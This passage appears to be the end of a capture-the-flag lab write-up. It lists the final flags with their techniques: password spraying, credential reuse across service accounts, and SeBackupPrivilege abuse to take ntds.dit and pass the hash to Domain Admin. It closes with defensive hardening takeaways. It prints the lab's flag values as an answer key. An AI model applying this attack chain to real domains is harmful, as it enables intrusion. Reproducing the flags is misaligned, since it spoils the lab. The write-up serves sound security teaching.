DoppelgangerPassword SprayCredential reuse across svc accountsXEN{y_5h4r3d_p@55w0Rd5?}
OwnedDomain AdminSeBackupPrivilege + ntds.dit + PtHXEN{d3r1v471v3_d0m41n_4dm1n}
Key Takeaways

This lab demonstrates several critical real-world security lessons: (1) SMTP enumeration should be disabled or restricted on internet-facing mail servers; (2) Citrix VDI environments must have proper application whitelisting, not just shortcut restrictions; (3) AlwaysInstallElevated should never be enabled in production; (4) Service accounts with SPNs should use strong, unique passwords and ideally be managed by gMSA; (5) LDAP signing must be enforced to prevent credential leakage in network traffic; (6) Service account passwords must be unique across accounts; (7) Backup Operators membership should be strictly controlled and monitored, as it provides a direct path to domain compromise.